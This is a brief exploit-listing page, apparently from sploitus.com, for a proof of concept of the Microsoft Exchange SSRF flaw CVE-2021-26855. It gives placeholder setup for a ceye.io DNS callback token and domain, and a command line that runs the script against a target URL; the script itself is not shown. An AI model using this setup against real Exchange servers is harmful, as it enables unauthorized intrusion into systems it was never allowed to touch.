Exploit for Server-Side Request Forgery in Microsoft

## https://sploitus.com/exploit?id=35B21CE7-1E51-5824-B70E-36480A6E8763
# CVE-2021-26855_SSRF
CVE-2021-26855  Exchange SSRF POC

change the ceye.io tokne & Identifier :     

token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

dns_url = randomstr + '.XXXXXX.ceye.io'

python CVE-2021-26855_SSRF.py https://a.com